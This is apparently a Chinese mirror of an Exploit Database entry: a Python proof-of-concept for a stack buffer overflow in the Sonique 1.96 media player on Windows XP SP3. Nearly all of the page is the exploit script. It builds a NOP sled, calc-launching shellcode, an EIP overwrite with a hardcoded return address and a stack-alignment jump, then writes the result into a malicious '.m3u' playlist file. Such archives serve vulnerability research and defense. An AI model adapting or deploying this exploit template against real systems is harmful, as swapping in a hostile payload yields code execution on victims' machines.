Sonique 1.96 – ‘.m3u’ Local Buffer Overflow

• Exploit Database
• 114 阅读

• 作者： sinfulsecurity
  日期： 2011-05-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17302/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

  #Application: Sonique BOF EIP Overwrite #Version:1.96 #Author: Securityxxxpert #Date Submitted:May 17, 2011 #Download Link: http://www.tucows.com/preview/193562 #Tested on:Windows XP SP3 #EIP Overwritten: 239 Bytes #Pita Bytes:0x00 0x83 0x88 0x93 #Notes:Not universal, find your own offsets if not SP3 Eng #Notes Cont:4 Nops is added before aligning the stack in order to align the stack properlywithout errors #Humor: Waterbottle + Justin Bieber's Head = Pwnage print "--------------------------------------------------------------------------------" print "Sonique Player Exploit" print "Retreat Hell! " print "Greetz:Acidgen, Subinacls, GrumpyBear, Pyoor, Corelanc0d3r, Dr. Nick, Rek0n " print "Greetz Cont: Connection, MaXe, ronin, Intern0t," print "Greetz Cont:Podjackel, g0tmi1k & The entire Corelan & Offensive Security Teams " print "--------------------------------------------------------------------------------" import os filename = "waterbottle.m3u"   nopsled="\x90"*93 #Sliding to pwnage sc=("\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0") #16 byte Calc Shellcode filler = "\x90"*130 eip='\x6F\x9C\x10\x5D' #0x5D109C6F alignjmp='\x83\xC3\x1c\x90'+'\xff\xe3' #Aligns the stack to EBX1c, then Jumps to EBX *EBX1C* Junk='\x42' * 10000   exploit = nopsled + sc + filler + eip + "\x90"* 4 + alignjmp + Junk os.makedirs ("./Justin.Beiber -My World") os.chdir ("./Justin.Beiber -My World") textfile = open(filename,"w") textfile.write(exploit) textfile.close()